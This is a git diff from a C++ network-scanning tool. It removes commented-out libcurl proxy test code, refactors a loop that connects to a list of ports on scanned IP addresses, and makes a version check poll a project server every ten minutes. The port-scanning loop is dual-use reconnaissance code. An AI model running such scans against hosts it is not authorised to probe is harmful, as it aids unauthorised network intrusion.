@@ static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *use _startVerCheck(); _startMsgCheck(); - -// curl = curl_easy_init(); -// if(curl) { -// curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"); -// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); -// curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); -// res = curl_easy_perform(curl); -// curl_easy_cleanup(curl); - -// std::cout << readBuffer << std::endl; -// } - -// CURLcode res; -// std::string readBuffer; -// CURL *curl = curl_easy_init(); - -// if (curl) -// { -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut))); - -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_NOBODY, true))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_NTLM))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_VERBOSE, true))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer))); - -// res = curl_easy_perform(curl); -// curl_easy_cleanup(curl); -// }; - -// stt->doEmitionFoundData(QString(readBuffer.c_str())); - //float step = 0; - //QPen iprvPenRegular(QColor(51, 51, 51, 100)); - //QPen iprvPen(QColor(51, 51, 51, 100)); - //while(step < 480) - //{ - // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPenRegular); - // step += 30; - //}; - //QPen iprvPenComplete(QColor(51, 51, 51, 100)); - //while(step < 480) - //{ - // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen); - // step += 30; - //}; } void nesca_3::playFcknSound() diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 8a1eefb..e66936f 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -3,6 +3,7 @@ #include "mainResources.h" #include "externData.h" #include "externFunctions.h" +#include "Connector.h" typedef struct { char argv[MAX_ADDR_LEN]; @@ -878,7 +879,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) // return res; //} -Connector con; +//Connector con; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) void _connect(void* ss) #else @@ -895,7 +896,7 @@ void *_connect(void* ss) for(int i = 0; i <= overallPorts; ++i) { if(globalScanFlag == false) break; - if(con._ConnectToPort( ip, portArr[i], "" ) == -2) break; + if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; }; ConDec(); diff --git a/vercheckerthread.cpp b/vercheckerthread.cpp index 32326b4..f61474b 100644 --- a/vercheckerthread.cpp +++ b/vercheckerthread.cpp @@ -1,34 +1,36 @@ #include "vercheckerthread.h" #include "externData.h" #include "mainResources.h" +#include "Connector.h" +#include "Utils.h" void _checkVer() { - Connector con; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - con._EstablishConnection("nesca.d3w.org", 80, "GET /version HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n", &CSTR, 1); + while(true) { + char request[64] = {"http://nesca.d3w.org/version"}; + std::string buffer; + std::vector headerVector {"X-Nescav3: True"}; + Connector::nConnect(request, 80, &buffer, NULL, &headerVector); - char *ptr1 = NULL; - if(CSTR.lowerBuff != NULL) - { - if(strstr(CSTR.lowerBuff, "\r\n\r\n") != 0) - { - ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); - if(strcmp(gVER, ptr1 + 4) != 0) - { - stt->doEmitionShowRedVersion(); - }; - }; - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; + char *ptr1 = NULL; + if(buffer.size() > 0) + { + if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1) + { + ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n"); + if(strcmp(gVER, ptr1 + 4) != 0) + { + stt->doEmitionShowRedVersion(); + }; + }; + }; - vct->terminate(); -}; + vct->sleep(600000); //10 min + }; + //vct->terminate(); +} void VerCheckerThread::run() { _checkVer(); -}; +}